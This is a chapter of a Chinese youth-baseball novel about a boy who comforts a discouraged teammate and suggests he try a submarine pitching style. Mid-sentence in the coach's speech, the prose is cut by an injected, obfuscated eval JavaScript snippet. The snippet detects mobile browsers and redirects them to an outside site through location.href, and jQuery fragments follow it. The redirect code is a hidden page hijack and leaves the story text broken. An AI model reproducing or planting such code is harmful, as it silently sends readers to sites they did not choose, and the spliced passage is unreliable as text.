飞世彩纪告诉斑比教练,绫濑川次郎同意和他参加U12选拔会时,教练露出相当诧异的表情。
……飞世居然这么快就搞定了绫濑川。难道说、没有代沟的同龄人更方便商量事情吗?
缺少绫濑川与飞世这两个绝对主力的足立斑比,今年比赛就算能参加,名次和奖项大概率也泡汤了。
不过彩纪先是挨个找斑比队员们聊了聊,在国家队这一响当当的名头前,缺席一般少棒比赛的行为,大家都表示理解。
更何况,主动给他们报名的人是教练,一无所知的绫濑川和飞世只是因为太厉害而通过海选,他们什么都没有做错,不是吗?
在确认过大家的想法之后,飞世彩纪趁着集合环节,向教练讨了两分钟发言时间。
于是斑比教练就听到飞世先对缺席今年比赛的行为恳切道歉,再真挚感谢这段时间队员们的陪同、付出与辛苦练习。
其中,飞世着重感恩教练的赏识和大家的宽容理解,最后表达去参加选拔会、有机会在国家队发挥时也不忘记斑比、坚持努力的决心。
一套连招下来教练傻眼,他面色古怪地看着斑比们在飞世彩纪声情并茂的发言中,神情从不安到感动,再到激情澎湃。
在彩纪开口伊始,默默走到人背后的绫濑川也忍不住大声、像发出某种宣言:“我很喜欢斑比、喜欢大家——我们很快就会回来的!”
小伊感动得一塌糊涂,他有点磕巴地回应来自朋友的喜爱,本性腼腆朴实的他本来就不擅长应付煽情场合,故而有些紧张;小安擦了把眼角的泪花,为了讲出帅气的发言憋红了脸颊,他几乎喊出来的,“我和小伊来支撑足立斑比的比赛!就像、就像和你们共同战斗一样——你们就等着回来的好消息吧!”
飞世彩纪此时倒是很有定力,他抿着嘴,像是在确认众人的反应,微微偏头,将轻柔的目光挨个从稚气的面孔上扫去,恰巧与斑比教练不期而遇。
斑比教练:“……”
飞世彩纪……怎么在笑?
“来约定吧。”
捉摸不定的微笑在活泼友善的面容上一闪而逝,栗发碧眼的小孩出声,重新聚拢起其他人的注意力,他率先伸出手,郑重承诺,“无论结果怎样,我们都是斑比的好伙伴!”
孩子们的应和此起彼伏。
要讲的话已经尽了,飞世彩纪若无其事融入斑比之中,他自然地做出比赛前固定的打气环节——足立斑比的孩子们手掌叠着手掌,为彼此的未来加油鼓励。
由此,会让足立斑比人心动摇的风波于无形中化解。
把话说开了,斑比的五年级生们便格外珍惜一起训练的时光。
中场休息,安田祐树结束投球练习,抱着手套慢吞吞绕过围网,踱到教练经常坐的长条石凳处。
那里没有教练,只有对着装备包站着的飞世彩纪,正在喝矿泉水。
安田祐树瞟了眼桥下方向。太阳有些晒,阴凉里绫濑川跟两个三年级孩子玩背背乐,五十岚抱着年龄稍大的企鹅头刨冰机,和另外几个孩子凑在教练身边,似乎在检查能否使用。
笑闹声不远不近地飘来,伙伴们没空关注这边,安田反而松了口气,揽着投手手套的胳膊收紧,他小跑两步并到彩纪身边——因为后者拧瓶盖的动作——安田生怕飞世直接回归队伍。
是的、是的,他有话想对彩纪说。
安田祐树下意识露出笑容,对着目光疑惑的飞世彩纪,可无法抑制的紧张与急切还是从他发出的第一个音节露出端倪,“那、那个……彩纪!”
“我在,什么事?”
飞世彩纪的目光在安田面上一扫而过,他没有立刻回应安田期盼的眼神,而是低头,从自己包里翻出一瓶新的矿泉水,递过去。
“喝点水吗,小安你的嘴唇有点干——投球辛苦了,坐下来休息一会儿怎么样?”
飞世语气一如既往的平和亲切,安田应声道谢,乖乖接过水瓶,将怀里的手套放在手边。
他跟彩纪一起坐在长凳上,在彩纪说“小安看起来想和我聊天”之后,安田终于展露自己内心的迷茫:“彩纪……我,我有点担心比赛发挥不好。”
似乎也觉得此时露怯不合时宜,安田顿了顿,央求一般地吐露自己的情况,“爸爸让我参加棒球补习班……但我还是投不好,我球速不快,有时候也投不进好球带……”
安田祐树的父亲是社会人球队日东汽油的王牌投手,在棒球领域颇有建树的父亲想必给小安带来了不必要的压力。
彩纪见过安田叔叔几面——有两次男人接小安回家,小安的反应却不轻松,他牵着父亲的手,小心翼翼的——过分紧张的神情令飞世彩纪印象深刻。
小安絮絮叨叨说着,他有个瞬间直直对上彩纪的眼眸,顿时被其中的平静与宽和映出真实,他在翠色的倒影中发觉自己面上不自觉流露出的迷惘和怯弱,被注视着、被倾听着,身子似乎麻痹了,心绪还在记忆中徘徊。
“我难过……彩纪,我难过。”安田祐树说。
飞世彩纪一言不发,可他带有鼓励的目光却在呼唤自己似的,也许是为了鼓舞他,给他一个畅快表达、发泄情绪的机会,彩纪坐着,似乎离他近了些,又似乎一动不动。
安田祐树揪紧自己胸口的衣服,喃喃道:“我不知道该怎么做了,绫濑川、还有彩纪你,小伊也是,你们每天都在进步,刚才彩纪你说的话我特别特别激动、特别特别高兴,但我练习之后又觉得,只有我一点长进也没有——”
“如果我变得厉害一点,是不是就可以开开心心跟你们一起打棒球了?而不是、现在找彩纪,对你说一些讨人厌的话……”
黑发男孩突然抽泣一声,他逐渐语无伦次:“爸爸说我没有投手的天赋,就得苦练来弥补,但我真的好累、也达不到他的要求,我没有办法像绫濑川一样……我不知道我能不能带斑比去比赛……可是我明明、想和大家、我、我想、呜……呜呜……”
飞世彩纪安静地听着,他神情认真,仿佛一名忠实而善意的听众,分担对方的不安和恐惧,压力与无力。
他只在安田绷不住眼眶中滚动的眼泪时,淡淡问了句:“小安单独告诉我是不想让大家知道,对吗?”
“嗯!”小安点头,眼眶红红,克制过后眼泪晃动、泼出来两颗。
“谢谢小安信任我,”彩纪熟练地安慰对方的情绪,他从口袋里掏出纸巾,倾身过来挡住小安,食指伸出将纸巾翻了个个,团成尖,轻轻点去对方滑下面颊的泪珠,同时低声,带了些狡黠的气音,“那就……别让他们发现?”
队伍中经典的因实力落差而产生的谈心环节,飞世彩纪没有感到乏味,反而产生出一种“果然如此”的安定感。
“没有办法像xx一样”这种话说上几次,哪怕事实并非如此,说到最后连自己都会深信不疑。
可是,小安,为什么你要提及绫濑川呢?
飞世彩纪叹了口气。
雨谷棒球部曾经因为绫濑川次郎的优异表现,尤其是前辈队员们,产生了不同程度的挫败感。飞世彩纪在部里算心理素质顶尖的一批人,又是致使队员们抑郁的源头的同期,他被动承担了一部分心理疏导工作。
世界是没有错的,绫濑川的存在更是无辜,有错的是心灵的脆弱性。那些人不能正视自己和他人之间的落差,于是就要长久遭受妒恨和自卑的折磨。
那是总教练最操心的一段时间。虽然有自己的选手偏好,但总教练不会厚此薄彼,他对待部员如同自己的亲子,又是挨个找队员们单独谈话,又是高强度跟训、及时纠正指导,才堪堪在力所能及的范围内把一些人拐回来。
在某次收操的讲话环节,总教练难得煽情一次,直言真正的棒球智慧是找到属于自己的武器库。
“绫濑川站在投手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177361|180778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丘上的自信,未必来自测速枪上的数字,而源于对自己技术的绝对信任!”总教练说完还觉得不够,顺口夸奖勤勤恳恳的正捕手,端水一样,“当然,雏也为守备费心费力,有这样安定的优秀捕手在,投手才好发挥啊!”
在食堂吃饭聊起这茬,桃吾嘴里还嚼着肉排,他满不在乎地揭老底:“你听老头子瞎说——当时看见测速155km他都原地乱蹦啦!”
噫……155km/h的球?
彩纪想,桃吾确实很厉害,是能徒手接新干线的男人。再看对方穿无袖内衬,露出的肩颈和手臂肌肉——这样坐镇本垒板后方的人,正普普通通扒拉着碗里的蔬菜——彩纪没由来对饭搭子多了些许敬佩。
打棒球,技术是第一位的,掌握技术自然而然就会产生自信。
且不说技术与机能已经至臻完满的优秀投手,绫濑川次郎,飞世彩纪在雨谷打过那么多比赛,练习赛也好,正赛也好,对手学校里总有一些磨炼出独特武器的选手,让人眼前一亮。
也正是他们独一无二的威胁感,让飞世彩纪牢牢记到现在。
于是此刻,彩纪望着神情动摇的安田,鬼使神差地开口:“小安,你觉得……潜水艇投法怎么样?”
以前琦玉那边有个姓野原的潜水艇投手,本来使用这种投法的选手就不多见,他投出的球不仅会产生“上升”的错觉,还有临近本垒板才会产生显著下落的诡异变化,作为中继投手完美执行了打乱打者节奏的任务——让飞世彩纪连续两打席都空手而归的投手可不多见。
见到安田困惑的神情,飞世彩纪抱歉地笑笑,重新组织语言。
“我是想说,低肩投法也许不是解决你所处困境的‘捷径’,脱离父辈荣耀的阴影,保持便于发挥的轻松心态才是小安你最需要做的,别人施加给你的压力太大啦,而小安又是很有责任心、很重情义的人,肯定会被影响,本来能投好的球都没法投出去了。”
“每一种方法,每一个技能都要经过反复练习,慢慢来。如果暂时不能复刻你爸爸的王牌投手之路,那就换一条路走,成为好投手的道路有很多,小安,你可以有自己的答案……还来得及,永远来得及。”
低肩侧投并非不费力,假若练成,其特殊性和稀缺性会让安田重塑自信。安田的肩肘关节柔软灵活,经过科学评估和训练之后说不定能成。
身高不足、爆发力普通的人亦可胜任技术型投手,下勾投法出来的球总会打出很多地滚球——即使被击中也能靠守备出局,分担压力、共同努力不正是小安所期望的吗?
不过对于投手来说,“改变投球姿势”是一个艰难的抉择,如果练习不当,相当于亲手毁掉自己投手的生命线。
“我……这个,我可能得先经过爸爸的同意……呃!”
小安握住水瓶的手冷不丁被彩纪伸过来的双手包裹住,温暖的双手,冷静的翠色眼睛。小安惊讶地发现,他心中萦绕的浑浊阴霾,一经过彩纪的透析,就一丝不留地,全部转变成纯澈闪光的感情了。
就在安田泛着踌躇的当口,彩纪拉着他的手,将他从犹疑和畏葸中拉到光亮的外界,离得近了,小安能看到,彩纪的面孔因为笃信与支持而显得格外漂亮。
他们对视。
“小安,安田祐树,我相信你。”
飞世彩纪一字一句地强调。
安田祐树点点头,他没再说话,相对无言地坐了一会儿,他起身,抱着没开盖的水瓶摇摇晃晃走掉了。
彩纪自觉话说的有点过头了,本来他不该对别人的发展指手画脚、更不该提出明确方案的……事已至此,给小安一点思考和缓冲的时间吧。
只是……
飞世彩纪坐在原位,一直在脑海中摸索,朝记忆的更深处溯游。
他分不清在高中经历的数不清的比赛里,到底有没有一名潜水艇投手,来自琦玉,名字叫野原祐树?